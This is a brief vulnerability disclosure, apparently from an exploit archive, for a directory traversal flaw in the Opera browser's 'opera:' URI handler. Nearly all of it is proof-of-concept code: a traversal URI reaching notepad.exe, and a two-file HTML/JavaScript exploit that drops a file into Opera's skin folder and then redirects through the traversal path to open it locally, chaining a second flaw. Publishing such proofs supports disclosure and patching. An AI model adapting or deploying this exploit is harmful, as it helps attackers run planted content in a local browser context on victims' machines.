Opera Web Browser Opera: URI Handler Directory Traversal Vulnerability

Opera Web Browser Opera: URI Handler Directory Traversal Vulnerability

The following proof-of-concept has been provided:

opera:/help/..%5c..%5c..%5cwinnt/notepad.exe

The following proof-of-concept was also provided (which also exploits BID 9019):

---------------START MAIN.HTM----------------

<html>

<head>

<script language="javascript">

var win=open("skin.htm") // The server should return content-type as // "application/x-opera-skin" for "Skin.htm". "Skin.htm" will be dropped in the
"<opera // dir>/profile/skin/" folder.

setTimeout("redir()",2000) //modify according to your situation.

function redir(){

window.location.href="opera:/help/..%5c/profile/skin/skin.htm" //This uses the // directory traversal flaw mentioned in advisory 2 to get the path of the
dropped file. In this // case, it is skin.htm.

}

</script>

</head>

<body>

<h1>This is the main file</h1>

</body>

</html>

---------------END MAIN.HTM----------------

---------------START SKIN.HTM----------------

<body>

<h1> Opera Skinned!!! </h1><p>This is Skin.htm from "<opera dir>/profile/skin/" in localhost.

</body>

---------------END SKIN.HTM----------------